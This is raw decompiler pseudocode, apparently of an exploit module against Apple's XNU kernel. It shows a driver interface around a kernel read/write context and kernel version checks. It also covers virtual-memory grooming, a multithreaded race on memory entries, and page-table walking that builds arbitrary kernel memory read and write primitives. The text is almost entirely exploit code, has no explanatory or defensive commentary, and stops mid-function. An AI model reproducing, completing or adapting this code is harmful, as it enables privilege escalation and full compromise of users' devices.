+_QWORD qword_43378[3] = { 1073741824LL, 805306368LL, 536870912LL }; // weak +unsigned int dword_43390[3] = { 2u, 2u, 0u }; // weak +_DWORD dword_43428[10] = { 17, 4, 3, 6, 7, 5, 40, 20, 2, 42 }; // weak +__int128 xmmword_43450 = 0x20000000000000000LL; // weak +__int128 xmmword_43460 = 17230332160LL; // weak +__int128 xmmword_43478 = 0x08000000100000000LL; // weak +__int16 asc_43490[3] = { 7, 11, 13 }; // weak +__int128 xmmword_43690 = 0x640000007300000030000000060LL; // weak +__int128 xmmword_436C0 = 0x10000000000000000000000000000000LL; // weak +unsigned int dword_436F0[4] = { 20u, 32u, 20u, 48u }; // weak +__int128 xmmword_43710 = 0x800000000000000D300000007LL; // weak +__int128 xmmword_43730 = 0xFFFFFFFFFFFFEFFFFFFF000000000000LL; // weak +__int128 xmmword_43740 = 0x19000000180000001600000015LL; // weak +__int128 xmmword_43750 = 0x10000000000000000LL; // weak +_UNKNOWN unk_44870; // weak +_UNKNOWN unk_44890; // weak +_UNKNOWN unk_448B0; // weak +__int64 (__fastcall *off_448E0[7])() = +{ + &sub_10DEC, + &sub_10C2C, + &sub_10EA8, + &sub_10F6C, + &sub_10F84, + &sub_11054, + &sub_110FC +}; // weak +_UNKNOWN unk_44918; // weak +_UNKNOWN unk_44938; // weak +__int64 qword_48000; // weak +__int64 qword_48008; // weak +__int64 qword_48010; // weak +__int64 qword_48018; // weak +__int64 qword_48020; // weak +__int64 qword_48028; // weak +__int64 qword_48030; // weak +__int64 qword_48038; // weak +__int64 qword_48040; // weak +__int16 word_48048; // weak +__int16 word_4804A; // weak +__int16 word_4804C; // weak +__int16 word_4804E; // weak +__int16 word_48050; // weak +__int16 word_48052; // weak +__int16 word_48054; // weak +__int16 word_48056; // weak +__int16 word_48058; // weak +__int16 word_4805A; // weak +__int16 word_4805C; // weak +__int16 word_4805E; // weak +__int16 word_48060; // weak +__int16 word_48062; // weak +__int16 word_48064; // weak +__int16 word_48066; // weak +__int16 word_48068; // weak +__int16 word_4806A; // weak +__int16 word_4806C; // weak +__int16 word_4806E; // weak +__int16 word_48070; // weak +__int16 word_48072; // weak +__int64 qword_48078; // weak +__int64 qword_48080; // weak +__int64 qword_48088; // weak +__int64 qword_48090; // weak +__int64 qword_48098; // weak +__int64 qword_480A0; // weak +__int64 qword_480A8; // weak +__int64 qword_480B0; // weak +__int64 qword_480B8; // weak +__int64 qword_480C0; // weak +__int64 qword_480C8; // weak +__int64 qword_480D0; // weak +__int64 qword_480D8; // weak +_BYTE algn_480E0[32]; // weak +// extern const CFAllocatorRef kCFAllocatorDefault; +// extern const CFAllocatorRef kCFAllocatorNull; +// extern const CFBooleanRef kCFBooleanFalse; +// extern const CFRunLoopMode kCFRunLoopDefaultMode; +// extern const CFDictionaryKeyCallBacks kCFTypeDictionaryKeyCallBacks; +// extern const CFDictionaryValueCallBacks kCFTypeDictionaryValueCallBacks; +// extern const mach_port_t kIOMasterPortDefault; +// extern NDR_record_t NDR_record; +// extern void *_NSConcreteStackBlock[32]; +// extern _QWORD _os_alloc_once_table[]; idb +// extern mach_port_t bootstrap_port; +// extern _UNKNOWN dyldVersionNumber; weak +// extern mach_port_t mach_task_self_; +// extern vm_size_t vm_page_mask; +// extern int vm_page_shift; +// extern vm_size_t vm_page_size; + + +//----- (0000000000005EC4) ---------------------------------------------------- +__int64 __fastcall driver(_QWORD *a1) +{ + __int64 v1; // x19 + _QWORD *v3; // x0 + + v1 = 708609; + if ( a1 ) + { + v3 = calloc(1u, 0x50u); + if ( v3 ) + { + v1 = 0; + *(_DWORD *)v3 = 131074; + v3[2] = driver_free; + v3[3] = driver_init; + v3[5] = driver_dispatch_command; + v3[6] = sub_6070; + v3[4] = driver_close; + v3[7] = sub_60A8; + v3[8] = sub_60EC; + v3[9] = sub_6224; + *a1 = v3; + } + else + { + return 708617; + } + } + return v1; +} + +//----- (0000000000005F9C) ---------------------------------------------------- +__int64 __fastcall driver_free(_OWORD *a1) +{ + if ( !a1 ) + return 708609; + a1[3] = 0u; + a1[4] = 0u; + a1[1] = 0u; + a1[2] = 0u; + *a1 = 0u; + free(a1); + return 0; +} + +//----- (0000000000005FDC) ---------------------------------------------------- +__int64 __fastcall driver_init(__int64 vtable, char something, struct_krwCtx **krwCtxOut) +{ + __int64 result; // x0 + struct_krwCtx *krwCtxOut_; // [xsp+8h] [xbp-18h] BYREF + + krwCtxOut_ = 0; + result = 0xAD001; + if ( vtable && krwCtxOut ) + { + result = driver_init2(&krwCtxOut_, something); + if ( !(_DWORD)result ) + *krwCtxOut = krwCtxOut_; + } + return result; +} + +//----- (0000000000006030) ---------------------------------------------------- +__int64 __fastcall driver_dispatch_command( + __int64 a1, + __int64 a2, + __int64 a3, + __int64 a4, + __int64 a5, + __int64 a6, + __int64 a7, + __int64 a8) +{ + if ( a1 && a2 ) + return driver_dispatch_command2(a2, a3, a3, a4, a5, a6, a7, a8, a4); + else + return 708609; +} + +//----- (0000000000006070) ---------------------------------------------------- +__int64 __fastcall sub_6070(__int64 a1, __int64 a2) +{ + if ( a1 && a2 ) + return sub_3F2E0(a2); + else + return 708609; +} + +//----- (000000000000608C) ---------------------------------------------------- +__int64 __fastcall driver_close(__int64 a1, char *a2) +{ + if ( a1 && a2 ) + return driver_close_internal(a2); + else + return 708609; +} + +//----- (00000000000060A8) ---------------------------------------------------- +__int64 __fastcall sub_60A8(__int64 a1, __int64 a2, _DWORD *a3) +{ + __int64 result; // x0 + int v5; // w8 + + result = 708609LL; + if ( a1 && a2 && a3 ) + { + v5 = *(_DWORD *)(a2 + 6424); + result = 708618LL; + if ( (unsigned int)(v5 + 1) >= 2 ) + { + result = 0LL; + *a3 = v5; + } + } + return result; +} + +//----- (00000000000060EC) ---------------------------------------------------- +__int64 __fastcall sub_60EC(__int64 a1, __int64 *a2, __int64 a3, unsigned int a4, int a5) +{ + __int64 v5; // x20 + __int64 *v11; // x24 + unsigned __int64 v12; // x25 + _BOOL4 v13; // w26 + __int64 v14; // x2 + __int64 v15; // t1 + unsigned int v16; // w0 + __int64 v19; // [xsp+8h] [xbp-48h] BYREF + + v19 = 0; + v5 = 708609; + if ( a1 && a2 && (a3 && a4 || !a3 && !a4) ) + { + if ( *a2 ) + { + v19 = *a2; + } + else + { + v5 = (*(__int64 (__fastcall **)(__int64, _QWORD, __int64 *))(a1 + 24))(a1, 0, &v19); + if ( (_DWORD)v5 ) + return v5; + } + if ( !a4 ) + goto LABEL_24; + LODWORD(v5) = 0; + v11 = (__int64 *)(a3 + 8); + v12 = 1; + LOBYTE(v13) = 1; + do + { + v14 = *((unsigned int *)v11 - 2); + v15 = *v11; + v11 += 2; + v16 = (*(__int64 (__fastcall **)(__int64, __int64, __int64, __int64))(a1 + 40))(a1, v19, v14, v15); + if ( v13 ) + v5 = v16; + else + v5 = (unsigned int)v5; + v13 = v5 == 0; + } + while ( (a5 | v13) == 1 && v12++ < a4 ); + if ( (_DWORD)v5 ) + { + if ( !*a2 ) + { + if ( (a5 & 1) == 0 ) + (*(void (__fastcall **)(__int64, __int64))(a1 + 48))(a1, v19); + (*(void (__fastcall **)(__int64, __int64))(a1 + 32))(a1, v19); + } + } + else + { +LABEL_24: + v5 = 0; + *a2 = v19; + } + } + return v5; +} + +//----- (0000000000006224) ---------------------------------------------------- +__int64 __fastcall sub_6224(__int64 a1, __int64 a2) +{ + __int64 v3; // x21 + __int64 result; // x0 + host_t v6; // w0 + kern_return_t v7; // w0 + kern_return_t v8; // w20 + char *v9; // x0 + size_t v10; // [xsp+18h] [xbp-238h] BYREF + int v11; // [xsp+20h] [xbp-230h] BYREF + int v12[2]; // [xsp+28h] [xbp-228h] BYREF + kernel_version_t kernel_version; // [xsp+30h] [xbp-220h] BYREF + + v3 = 708628; + result = 708609; + if ( a1 && a2 ) + { + memset(kernel_version, 0, sizeof(kernel_version)); + v6 = mach_host_self(); + v7 = host_kernel_version(v6, kernel_version); + if ( v7 ) + { + v8 = v7; + if ( v7 != 53 ) + return v8 | 0x80000000; + *(_QWORD *)v12 = 0x400000001LL; + v10 = 512; + if ( sysctl(v12, 2u, kernel_version, &v10, 0, 0) ) + return v8 | 0x80000000; + } + if ( !strstr(kernel_version, "RELEASE") ) + return 708616; + v9 = strstr(kernel_version, "xnu-"); + if ( v9 ) + { + v11 = 0; + v10 = 0; + if ( sscanf(v9, "xnu-%u.%u.%u%*s", &v10, (char *)&v10 + 4, &v11) == 3 ) + { + v3 = 0; + *(_QWORD *)a2 = v10; + *(_DWORD *)(a2 + 8) = v11; + } + } + return v3; + } + return result; +} + +//----- (0000000000006384) ---------------------------------------------------- +vm_address_t __fastcall sub_6384(vm_address_t src_address, vm_size_t size, boolean_t copy) +{ + vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-10h] BYREF + vm_address_t target_address; // [xsp+28h] [xbp-8h] BYREF + + *(_QWORD *)cur_protection = 0; + target_address = 0; + vm_remap( + mach_task_self_, + &target_address, + size, + 0, + 1, + mach_task_self_, + src_address, + copy, + &cur_protection[1], + cur_protection, + 1u); + return target_address; +} + +//----- (00000000000063E8) ---------------------------------------------------- +__int64 __fastcall sub_63E8(vm_address_t src_address, vm_size_t size, boolean_t copy) +{ + vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-10h] BYREF + vm_address_t target_address; // [xsp+28h] [xbp-8h] BYREF + + *(_QWORD *)cur_protection = 0; + target_address = src_address; + return vm_remap( + mach_task_self_, + &target_address, + size, + 0, + 0x4000, + mach_task_self_, + src_address, + copy, + &cur_protection[1], + cur_protection, + 1u); +} + +//----- (0000000000006448) ---------------------------------------------------- +unsigned __int64 __fastcall sub_6448(vm_address_t a1) +{ + __int128 v2; // [xsp+0h] [xbp-70h] BYREF + __int128 v3; // [xsp+10h] [xbp-60h] + __int128 v4; // [xsp+20h] [xbp-50h] + _DWORD v5[7]; // [xsp+30h] [xbp-40h] BYREF + vm_size_t size; // [xsp+58h] [xbp-18h] BYREF + vm_address_t address; // [xsp+60h] [xbp-10h] BYREF + mach_msg_type_number_t infoCnt; // [xsp+68h] [xbp-8h] BYREF + natural_t nesting_depth; // [xsp+6Ch] [xbp-4h] BYREF + + size = 0; + address = a1; + v4 = 0u; + memset(v5, 0, sizeof(v5)); + v2 = 0u; + v3 = 0u; + infoCnt = 19; + nesting_depth = 1; + vm_region_recurse_64(mach_task_self_, &address, &size, &nesting_depth, (vm_region_recurse_info_t)&v2, &infoCnt); + return DWORD2(v3) | ((unsigned __int64)DWORD2(v4) << 32); +} + +//----- (00000000000064B8) ---------------------------------------------------- +__int64 __fastcall sub_64B8(__int64 a1, __int64 a2) +{ + if ( *(_QWORD *)(a1 + 8) < *(_QWORD *)(a2 + 8) ) + return 0xFFFFFFFFLL; + else + return 1LL; +} + +//----- (00000000000064D0) ---------------------------------------------------- +__int64 __fastcall sub_64D0(__int64 a1, __int64 a2) +{ + unsigned __int64 v2; // x8 + unsigned __int64 v3; // x9 + bool v4; // cf + unsigned int v5; // w8 + + v2 = *(_QWORD *)(a1 + 8); + v3 = *(_QWORD *)(a2 + 8); + v4 = v2 >= v3; + if ( v2 <= v3 ) + v5 = 0; + else + v5 = -1; + if ( v4 ) + return v5; + else + return 1LL; +} + +//----- (00000000000064E8) ---------------------------------------------------- +__int64 setup_thread_policy() +{ + unsigned __int32 v0[2]; // d0 + unsigned __int32 v1[2]; // d1 + thread_act_t v2; // w0 + mach_timebase_info info; // [xsp+8h] [xbp-18h] BYREF + integer_t policy_info[4]; // [xsp+10h] [xbp-10h] BYREF + + mach_timebase_info(&info); + v1[0] = info.numer; + v0[0] = info.denom; + policy_info[0] = (unsigned int)((double)*(unsigned __int64 *)v0 / (double)*(unsigned __int64 *)v1 * 1000000.0 * 50.0); + policy_info[1] = policy_info[0]; + policy_info[2] = policy_info[0]; + policy_info[3] = 0; + v2 = mach_thread_self(); + thread_policy_set(v2, 2u, policy_info, 4u); + return thread_switch(0, 2, 0); +} +// 6504: variable 'v0' is possibly undefined +// 6508: variable 'v1' is possibly undefined + +//----- (0000000000006564) ---------------------------------------------------- +void __fastcall sub_6564(__int64 a1, __int64 a2) +{ + __int64 v3; // x10 + char v4; // w13 + __int64 i; // x12 + __int64 v6; // x15 + __int64 v7; // x13 + __int64 v8; // x14 + __int64 v9; // x15 + __int64 *v10; // x13 + int (__cdecl *v11)(const void *, const void *); // x0 + _OWORD v12[8]; // [xsp+0h] [xbp-A0h] BYREF + + memset(v12, 0, sizeof(v12)); + v3 = *(_QWORD *)(a2 + 8); + v4 = 1; + for ( i = 1; i != 64000; ++i ) + { + v6 = v3 + 256; + v3 = *(_QWORD *)(a2 + 16 * i + 8); + if ( v3 == v6 ) + { + ++v4; + } + else + { + if ( (v4 & 0x3F) == 0 ) + { + v7 = 0; + v8 = *(_QWORD *)(a2 + 16 * i - 1016) & 0x3FFFLL | 0x4000; + while ( 1 ) + { + v9 = *(_QWORD *)&v12[v7]; + if ( !v9 ) + { + v10 = (__int64 *)&v12[v7]; + *v10 = v8; + v10[1] = 1; + goto LABEL_5; + } + if ( v9 == v8 ) + break; + if ( ++v7 == 8 ) + goto LABEL_5; + } + ++*((_QWORD *)&v12[v7] + 1); + } +LABEL_5: + v4 = 1; + } + } + v11 = (int (__cdecl *)(const void *, const void *))nullsub_1(sub_64D0); + qsort(v12, 8u, 0x10u, v11); + *(_QWORD *)(a1 + 8) = *(_QWORD *)&v12[0]; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (00000000000066A4) ---------------------------------------------------- +void __fastcall sub_66A4(_QWORD *a1) +{ + _QWORD *v2; // x19 + void *v3; // x0 + __int64 v4; // x23 + char *v5; // x21 + __int64 i; // x23 + __int64 j; // x23 + __int64 v8; // x1 + int (__cdecl *v9)(const void *, const void *); // x0 + __int64 v10; // x8 + unsigned __int64 v11; // x12 + __int64 v12; // x9 + __int64 v13; // x13 + unsigned __int64 v14; // x15 + __int64 v15; // x14 + __int64 *v16; // x15 + __int64 v17; // x16 + __int64 v18; // t1 + bool v19; // w14 + __int64 v20; // x15 + _QWORD *v21; // x14 + vm_address_t address; // [xsp+8h] [xbp-38h] BYREF + + v2 = malloc(0x28u); + v2[1] = malloc(0xFA000u); + v3 = malloc(0x3E80u); + v4 = 0; + v2[3] = 0; + v2[4] = 0; + v2[2] = v3; + *v2 = *a1; + *a1 = v2; + do + { + address = 0; + vm_allocate(mach_task_self_, &address, 0x4000u, 1); + v5 = (char *)v2[1]; + *(_QWORD *)&v5[v4] = address; + v4 += 16; + } + while ( v4 != 1024000 ); + for ( i = 0; i != 1024000; i += 16 ) + { + sub_63E8(*(_QWORD *)&v5[i], 0x4000u, 0); + v5 = (char *)v2[1]; + } + for ( j = 0; j != 1024000; j += 16 ) + { + sub_6448(*(_QWORD *)&v5[j]); + v5 = (char *)v2[1]; + *(_QWORD *)&v5[j + 8] = v8; + } + v9 = (int (__cdecl *)(const void *, const void *))nullsub_1(sub_64B8); + qsort(v5, 0xFA00u, 0x10u, v9); + v10 = a1[1]; + if ( !v10 ) + { + sub_6564((__int64)a1, v2[1]); + v10 = a1[1]; + } + v11 = 0; + v12 = v2[1]; + do + { + v13 = *(_QWORD *)(v12 + 16 * v11 + 8); + if ( (((unsigned __int16)v10 ^ (unsigned __int16)v13) & 0x3FFF) != 0 ) + goto LABEL_19; + v14 = v11 + 1; + v15 = v13 + 256; + if ( *(_QWORD *)(v12 + 16 * (v11 + 1) + 8) == v13 + 256 ) + { + v16 = (__int64 *)(v12 + 40 + 16 * v11); + v17 = 1; + while ( v17 != 63 ) + { + v18 = *v16; + v16 += 2; + v15 += 256; + ++v17; + if ( v15 != v18 ) + { + v19 = (unsigned __int64)(v17 - 1) < 0x3F; + v14 = v11 + v17; + goto LABEL_17; + } + } +LABEL_18: + v20 = v2[4]; + v21 = (_QWORD *)(v2[2] + 16 * v20); + *v21 = *(_QWORD *)(v12 + 16 * v11); + v21[1] = v13; + *(_QWORD *)(v12 + 16 * v11) = 0; + v2[4] = v20 + 1; + v11 += 63LL; + goto LABEL_19; + } + v19 = 1; +LABEL_17: + v11 = v14 - 1; + if ( !v19 ) + goto LABEL_18; +LABEL_19: + ++v11; + } + while ( v11 < 0xF9C1 ); +} +// 6880: conditional instruction was optimized away because x16.8==3F +// 6778: variable 'v8' is possibly undefined +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (00000000000068A0) ---------------------------------------------------- +__int64 __fastcall sub_68A0(_QWORD *a1) +{ + _QWORD *v2; // x8 + __int64 v3; // x9 + __int64 result; // x0 + + v2 = (_QWORD *)*a1; + if ( !*a1 || (v3 = v2[3], v3 == v2[4]) ) + { + sub_66A4(a1); + v2 = (_QWORD *)*a1; + v3 = *(_QWORD *)(*a1 + 24LL); + } + result = v2[2] + 16 * v3; + v2[3] = v3 + 1; + return result; +} + +//----- (00000000000068F4) ---------------------------------------------------- +void __fastcall sub_68F4(__int64 a1) +{ + __int64 i; // x21 + __int64 v3; // x22 + vm_address_t v4; // x1 + unsigned __int64 v5; // x21 + __int64 v6; // x22 + __int64 v7; // x23 + __int64 vars8; // [xsp+38h] [xbp+8h] + + for ( i = 0; i != 1024000; i += 16 ) + { + v3 = *(_QWORD *)(a1 + 8); + v4 = *(_QWORD *)(v3 + i); + if ( v4 ) + { + vm_deallocate(mach_task_self_, v4, 0x4000u); + *(_QWORD *)(v3 + i) = 0; + } + } + v5 = *(_QWORD *)(a1 + 24); + if ( v5 < *(_QWORD *)(a1 + 32) ) + { + v6 = 16 * v5; + do + { + v7 = *(_QWORD *)(a1 + 16); + vm_deallocate(mach_task_self_, *(_QWORD *)(v7 + v6), 0x4000u); + *(_QWORD *)(v7 + v6) = 0; + ++v5; + v6 += 16; + } + while ( v5 < *(_QWORD *)(a1 + 32) ); + } + free(*(void **)(a1 + 8)); + free(*(void **)(a1 + 16)); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free((void *)a1); +} +// 69A8: variable 'vars8' is possibly undefined + +//----- (00000000000069B8) ---------------------------------------------------- +__int64 __fastcall sub_69B8(__int64 a1) +{ + mem_entry_name_port_t v1; // w19 + __int64 v2; // x8 + unsigned __int8 *v3; // x21 + unsigned __int8 v4; // w8 + vm_address_t address; // [xsp+18h] [xbp-38h] BYREF + + v1 = *(_DWORD *)a1; + v2 = *(_QWORD *)(a1 + 8); + atomic_fetch_add((atomic_uint *volatile)(v2 + 24), 1u); + v3 = (unsigned __int8 *)(v2 + 28); + LOBYTE(v2) = atomic_load((unsigned __int8 *)(v2 + 28)); + if ( (v2 & 1) == 0 ) + { + do + { + address = 0; + vm_map(mach_task_self_, &address, 0x4000u, 0, 0, v1, 0, 1, 1, 1, 1u); + v4 = atomic_load(v3); + } + while ( (v4 & 1) == 0 ); + } + return 0; +} + +//----- (0000000000006A54) ---------------------------------------------------- +__int64 __fastcall sub_6A54(__int64 a1, mem_entry_name_port_t *a2) +{ + __int64 v4; // x23 + pthread_t *v5; // x21 + _OWORD *v6; // x22 + void *(__cdecl *v7)(void *); // x0 + unsigned int v8; // w8 + __int64 v9; // x20 + mach_port_t object_handle; // [xsp+4h] [xbp-ACh] BYREF + memory_object_size_t size; // [xsp+8h] [xbp-A8h] BYREF + _OWORD v13[4]; // [xsp+10h] [xbp-A0h] BYREF + _OWORD v14[2]; // [xsp+50h] [xbp-60h] BYREF + + v4 = 0; + atomic_store(0, (unsigned int *)(a1 + 24)); + atomic_store(0, (unsigned __int8 *)(a1 + 28)); + memset(v14, 0, sizeof(v14)); + memset(v13, 0, sizeof(v13)); + v5 = (pthread_t *)v14; + v6 = v13; + do + { + *(_DWORD *)v6 = a2[v4]; + *((_QWORD *)v6 + 1) = a1; + v7 = (void *(__cdecl *)(void *))nullsub_1(sub_69B8); + if ( pthread_create(v5, 0, v7, v6) ) + __error(); + ++v4; + ++v5; + ++v6; + } + while ( v4 != 4 ); + while ( 1 ) + { + v8 = atomic_load((unsigned int *)(a1 + 24)); + if ( v8 == 4 ) + break; + usleep(0x3E8u); + } + size = 0x4000; + object_handle = 0; + mach_make_memory_entry_64(mach_task_self_, &size, 0, 1, &object_handle, *a2); + v9 = 0; + atomic_store(1u, (unsigned __int8 *)(a1 + 28)); + do + { + if ( pthread_join(*(pthread_t *)((char *)v14 + v9), 0) ) + __error(); + v9 += 8; + } + while ( v9 != 32 ); + return object_handle; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000006BBC) ---------------------------------------------------- +__int64 __fastcall sub_6BBC(_QWORD *a1, __int64 a2) +{ + vm_address_t *v4; // x21 + __int64 v5; // x24 + unsigned __int64 v6; // x0 + __int64 v7; // x1 + __int64 v8; // x22 + __int64 v9; // x25 + mach_port_name_t v10; // w20 + unsigned __int64 v11; // x0 + __int64 v12; // x19 + unsigned __int64 v14; // x24 + memory_object_size_t v15; // x9 + unsigned __int64 v16; // x8 + mach_port_name_t v17; // w1 + memory_object_size_t size; // [xsp+10h] [xbp-60h] BYREF + mem_entry_name_port_t object[2]; // [xsp+18h] [xbp-58h] BYREF + __int64 v20; // [xsp+20h] [xbp-50h] + + v4 = (vm_address_t *)sub_68A0(a1); + thread_switch(0, 2, 0); + vm_deallocate(mach_task_self_, *v4, 0x4000u); + v5 = 0; + *v4 = 0; + *(_QWORD *)object = 0; + v20 = 0; + do + { + size = 0x4000; + mach_make_memory_entry_64(mach_task_self_, &size, a1[2], 1, &object[v5++], 0); + } + while ( v5 != 4 ); + size = 0; + vm_map(mach_task_self_, &size, 0x4000u, 0, 1, object[0], 0, 0, 1, 1, 1u); + v6 = sub_6448(size); + if ( v7 != v4[1] ) + goto LABEL_6; + v8 = v7; + v9 = (unsigned int)(HIDWORD(v6) + 1); + v10 = sub_6A54((__int64)a1, object); + v11 = sub_6448(size); + if ( v9 == HIDWORD(v11) ) + { + mach_port_deallocate(mach_task_self_, v10); +LABEL_6: + vm_deallocate(mach_task_self_, size, 0x4000u); + v12 = 0; + size = 0; + do + { + mach_port_deallocate(mach_task_self_, object[v12]); + object[v12++] = 0; + } + while ( v12 != 4 ); + return 0; + } + v14 = 0; + v15 = size; + *(_QWORD *)a2 = v8; + *(_QWORD *)(a2 + 8) = v15; + *(_DWORD *)(a2 + 16) = v10; + v16 = v9 + ~HIDWORD(v11); + *(_QWORD *)(a2 + 32) = v16; + while ( 1 ) + { + v17 = object[v14]; + if ( v14 >= v16 ) + { + mach_port_deallocate(mach_task_self_, v17); + object[v14] = 0; + } + else + { + *(_DWORD *)(a2 + 20 + 4 * v14) = v17; + } + if ( v14 == 3 ) + break; + v16 = *(_QWORD *)(a2 + 32); + ++v14; + } + return 1; +} +// 6CAC: variable 'v7' is possibly undefined + +//----- (0000000000006DC0) ---------------------------------------------------- +__int64 __fastcall sub_6DC0(_QWORD *a1, unsigned __int64 a2, _DWORD *a3) +{ + __int64 v5; // x21 + unsigned __int64 v6; // x8 + vm_address_t v7; // x1 + __int64 result; // x0 + + v5 = a2 & 0x3FFF; + v6 = a2 >> 14; + v7 = a1[169]; + *(_DWORD *)(v7 + 560) = v6; + vm_copy(mach_task_self_, v7, 0xC000u, a1[170]); + result = sub_63E8(a1[172], 0x4000u, 0); + *a3 = *(_DWORD *)(a1[172] + v5); + return result; +} + +//----- (0000000000006E30) ---------------------------------------------------- +void *__fastcall sub_6E30(_QWORD *a1, unsigned __int64 a2, void *a3, size_t a4) +{ + __int64 v7; // x22 + unsigned __int64 v8; // x8 + vm_address_t v9; // x1 + + v7 = a2 & 0x3FFF; + v8 = a2 >> 14; + v9 = a1[169]; + *(_DWORD *)(v9 + 560) = v8; + vm_copy(mach_task_self_, v9, 0xC000u, a1[170]); + vm_copy(mach_task_self_, a1[172], 0xC000u, a1[173]); + return memcpy(a3, (const void *)(a1[173] + v7), a4); +} + +//----- (0000000000006EB8) ---------------------------------------------------- +__int64 __fastcall sub_6EB8(_QWORD *a1, const void *a2, unsigned __int64 a3, size_t a4) +{ + __int64 v7; // x24 + vm_address_t v8; // x1 + void *v9; // x23 + vm_address_t v10; // x21 + vm_map_t v11; // w0 + __int64 vars8; // [xsp+48h] [xbp+8h] + + v7 = a3 & 0x3FFF; + v8 = a1[169]; + *(_DWORD *)(v8 + 560) = a3 >> 14; + vm_copy(mach_task_self_, v8, 0xC000u, a1[170]); + v9 = (void *)(a1[175] - a4 + 0x4000); + v10 = a1[176] + v7; + memcpy(v9, a2, a4); + v11 = mach_task_self_; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return vm_copy(v11, (vm_address_t)v9, a4 + 0x8000, v10); +} +// 6F58: variable 'vars8' is possibly undefined + +//----- (0000000000006F68) ---------------------------------------------------- +unsigned __int64 sub_6F68() +{ + __int64 v0; // x0 + unsigned __int64 v1; // x1 + unsigned __int64 v2; // x19 + _QWORD *v3; // x20 + unsigned __int64 v4; // x21 + __int64 v5; // x23 + __int64 v6; // x8 + unsigned __int64 v7; // x26 + __int64 v8; // x8 + _QWORD v10[2048]; // [xsp+8h] [xbp-4058h] BYREF + + v0 = ((__int64 (*)(void))__chkstk_darwin)(); + v2 = v1; + v3 = (_QWORD *)v0; + v4 = *(_QWORD *)(v0 + 1312); + bzero(v10, 0x4000u); + v5 = 0; + while ( 1 ) + { + if ( v5 || (v6 = v3[165]) == 0 ) + v6 = *(_QWORD *)((char *)&unk_42DC8 + v5 + 80); + v7 = (v6 & v2) >> *(_QWORD *)((char *)&unk_42DC8 + v5 + 72); + sub_6E30(v3, v4, v10, 0x4000u); + v8 = v10[(unsigned int)v7]; + if ( (*(_QWORD *)((_BYTE *)&unk_42DC8 + v5 + 88) & ~v8) != 0 ) + return 0; + if ( (*(_QWORD *)((_BYTE *)&unk_42DC8 + v5 + 96) & v8) == *(_QWORD *)((char *)&unk_42DC8 + v5 + 104) ) + break; + v4 = v8 & 0xFFFFFFFFC000LL; + v5 += 56; + if ( v5 == 168 ) + return 0; + } + return v8 & ~*(_QWORD *)((char *)&unk_42DC8 + v5 + 64) & 0xFFFFFFFFF000LL + | *(_QWORD *)((_BYTE *)&unk_42DC8 + v5 + 64) & v2; +} +// 6FA0: variable 'v1' is possibly undefined +// 48940: using guessed type __int64 __chkstk_darwin(void); +// 48940: using guessed type __int64 __fastcall __chkstk_darwin(_QWORD, _QWORD); + +//----- (00000000000070A4) ---------------------------------------------------- +_QWORD *__fastcall sub_70A4(_QWORD *result, __int16 a2, char *a3, unsigned __int64 a4) +{ + unsigned __int64 v4; // x19 + _QWORD *v7; // x22 + size_t v8; // x23 + unsigned __int64 v9; // x0 + + if ( a4 ) + { + v4 = a4; + v7 = result; + do + { + if ( v4 >= 0x4000 - (unsigned __int64)(a2 & 0x3FFF) ) + v8 = 0x4000LL - (a2 & 0x3FFF); + else + v8 = v4; + v9 = sub_6F68(); + result = sub_6E30(v7, v9, a3, v8); + a2 += v8; + a3 += v8; + v4 -= v8; + } + while ( v4 ); + } + return result; +} + +//----- (0000000000007128) ---------------------------------------------------- +_QWORD *__fastcall sub_7128(_QWORD *result, char *a2, __int16 a3, unsigned __int64 a4) +{ + unsigned __int64 v4; // x19 + _QWORD *v7; // x22 + size_t v8; // x23 + unsigned __int64 v9; // x0 + + if ( a4 ) + { + v4 = a4; + v7 = result; + do + { + if ( v4 >= 0x4000 - (unsigned __int64)(a3 & 0x3FFF) ) + v8 = 0x4000LL - (a3 & 0x3FFF); + else + v8 = v4; + v9 = sub_6F68(); + result = (_QWORD *)sub_6EB8(v7, a2, v9, v8); + a2 += v8; + a3 += v8; + v4 -= v8; + } + while ( v4 ); + } + return result; +} + +//----- (00000000000071AC) ---------------------------------------------------- +__int64 __fastcall find_mem_region(__int64 result) +{ + __int64 v1; // x19 + _OWORD v2[5]; // [xsp+0h] [xbp-90h] BYREF + vm_size_t size; // [xsp+58h] [xbp-38h] BYREF + vm_address_t address; // [xsp+60h] [xbp-30h] BYREF + mach_msg_type_number_t infoCnt; // [xsp+68h] [xbp-28h] BYREF + natural_t nesting_depth; // [xsp+6Ch] [xbp-24h] BYREF + + address = 0; + if ( !*(_QWORD *)(result + 16) ) + { + v1 = result; + while ( 1 ) + { + size = 0; + memset(v2, 0, 76); + infoCnt = 19; + nesting_depth = 1; + result = vm_region_recurse_64( + mach_task_self_, + &address, + &size, + &nesting_depth, + (vm_region_recurse_info_t)v2, + &infoCnt); + if ( nesting_depth ) + { + if ( !*(_QWORD *)((char *)v2 + 12) ) + break; + } + address += size; + if ( *(_QWORD *)(v1 + 16) ) + return result; + } + *(_QWORD *)(v1 + 16) = address; + } + return result; +} + +//----- (000000000000725C) ---------------------------------------------------- +__int64 __fastcall sub_725C(__int64 a1) +{ + __int64 result; // x0 + vm_address_t address; // [xsp+18h] [xbp-18h] BYREF + + vm_map( + mach_task_self_, + (vm_address_t *)(a1 + 32), + (*(_QWORD *)(a1 + 1432) << 14) + 49152LL, + 0x1FFFFFFu, + 1, + 0, + 0, + 0, + 3, + 7, + 1u); + address = *(_QWORD *)(a1 + 32); + vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000); + address = *(_QWORD *)(a1 + 32) + 0x4000LL; + vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000); + address = *(_QWORD *)(a1 + 32) + 0x8000LL; + result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000); + **(_BYTE **)(a1 + 32) = 65; + return result; +} + +//----- (0000000000007334) ---------------------------------------------------- +__int64 __fastcall sub_7334(__int64 a1) +{ + __int64 v2; // x21 + __int64 result; // x0 + vm_address_t address; // [xsp+8h] [xbp-28h] BYREF + + v2 = 0; + *(_QWORD *)(a1 + 48) = malloc(0xC3500u); 